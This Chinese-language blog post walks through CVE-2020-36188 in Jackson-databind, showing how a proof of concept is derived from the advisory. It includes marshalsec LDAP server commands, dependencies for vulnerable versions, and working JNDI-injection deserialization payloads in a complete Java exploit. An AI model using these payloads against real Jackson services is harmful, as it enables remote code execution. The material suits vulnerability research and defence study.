0x01 前言
这里将分析Jackson反序列化漏洞(CVE-2020-36188)的分析过程,同时将会把如何从漏洞通告来分析构造并且调试出POC代码分享给大家。
0x01 Jackson的介绍
大家都苦受Fastjson动不动就爆出一个反序列化漏洞而苦恼,从而将目光转向了Jackson。
相比于Fastjson,Jackson不仅开源稳定易使用,而且拥有Spring生态加持,更受使用者的青睐。然而Jackson似乎也陷入了白帽子不断发现可利用Gadget,Jackson不断增加黑名单的泥坑当中。最近甚至一次性通告了十来个CVE。
具体Jackson如何使用就不在这里浪费篇幅,大家可以百度获取相关信息。
0x02 Jackson漏洞简述
Jackson的漏洞主要集中在jackson-databind中,当启用Global default typing,类似于FastJson的autoType,会存在各种各样的反序列化绕过类,而官方更新的防护措施一般都是将新出现的恶意类加入黑名单。如果需要完全杜绝这种频繁的升级体验,可以升级到2.10.x
版本,这个版本中Jackson使用了白名单进行恶意类的防护。
下面会以最近漏洞通告中的CVE-2020-36188
进行分析一下如何对一个新出现的漏洞进行分析,并且不再依赖他人,自己来编写POC。
0x03 Jackson漏洞详细分析
以下摘抄一下这次漏洞通告中的信息:
CVE-2020-36188FasterXML jackson-databind 2.x < 2.9.10.8的版本存在该漏洞,该漏洞是由于com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource组件库存在不安全的反序列化,导致攻击者可能利用漏洞实现远程代码执行。
从漏洞通告信息中我们可以了解到该漏洞的影响版本及Gadget的第三方库信息。
先来搭建一下测试环境:
ladp环境简单讲述一下,如有疑惑百度即可。
python -m http.server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/\#Exploit
接下来创建环境并添加依赖,我这里使用IDEA+Maven。还需要注意一下JDK版本,我这里使用的是jdk1.8.0_144
。
首先添加jackson
的依赖,我们选择2.9.9版本(也可以选择影响范围内的其它版本)。
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.9</version>
</dependency>
然后添加一下Gadget所在的第三库依赖,推荐使用https://search.maven.org/去搜索组件在哪一个第三方库当中。
使用fc:com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource
做为搜索关键字,这里fc
指full class
,即完整class路径。
可以看到我们需要的第三方依赖库是newrelic-agent
,需要注意版本使用搜索结果中的就可以,搜索结果外的版本可能去除或者修改了当前组件。
也可以直接去Jackson
的Github上查找相关描述
添加newrelic-agent
的依赖
<dependency>
<groupId>com.newrelic.agent.java</groupId>
<artifactId>newrelic-agent</artifactId>
<version>3.38.0</version>
</dependency>
接下来参考一下jackson反序列化其它相似漏洞POC代码,这里参考使用了CVE-2020-35490
的POC代码。
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";
Object o = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(o);
可以看到payload的中的com.nqadmin.rowset.JdbcRowSetImpl
就是存在不安全反序列化的组件路径,而后面的参数就是JdbcRowSetImpl
类的属性。
根据漏洞通告中的组件信息,我们将前面的参数替换一下,接下来就需要去搜索代码查看类属性需要怎么设置了。
这里需要插入一点的是当前Jackson反序列化漏洞都是JNDI注入导致的远程代码执行,那么我们需要做的就是在存在不安全反序列化的组件中查找可以触发JNDI注入的代码。
在漏洞描述的不安全类中搜索lookup
关键字
这里的lookup
就是会触发JNDI注入的关键代码
Context initialContext = new InitialContext();
Object obj = initialContext.lookup(this.jndiLocation);
那么我们就需要在payload中设置相应的属性,这里就是jndiLocation
,通过再次搜索代码可以看到jndiLocation
有一个setJndiLocation
方法,并且在反序列化过程是会自动调用setter方法的,那我们直接在payload中设置属性就可以了。
{"jndiLocation":"ldap://127.0.0.1:1389/Exploit"}
然后再查看lookup
所在代码的触发条件,所在的函数是lookupDataSource
,这个函数在getConnection
函数中存在,当dataSource == null
的时候会执行到,而dataSource
在第一次进入时默认就是null
。
这里还利用到的一点就是在序列化的时候,Jackson会先利用反射找到对象类的所有get方法,接下来去掉get前缀,然后首字母小写,作为json的每个key值,而get方法的返回值作为value。就是说getter
方法会在序列化时被自动调用,意味着getConnection
会在序列化时被调用到。我们的POC代码中最后使用writeValueAsString
对对象进行了序列化操作,所以payload只要设置jndiLocation
属性就可以了。
最后,完整的payload就是这样样子的了
String payload = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://127.0.0.1:1389/Exploit\"}]";
完整的POC如下:
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class CVE_2020_36187 {
public static void main(String[] args) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://127.0.0.1:1389/Exploit\"}]";
Object o = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(o);
}
}
至于Jackson是怎么反序列化触发JNDIConnectionSource
就不进行赘述了,与其它的相似漏洞都是一致的,最后执行一下,看下效果。
在lookup
代码上打下断点debug就可以在左下角看到完整的利用链了
0x04 结语
在本篇中给大家介绍了Jackson反序列化当中使用JNDI进行触发的分析过程,大家以后也可以构造这一类的POC了吼。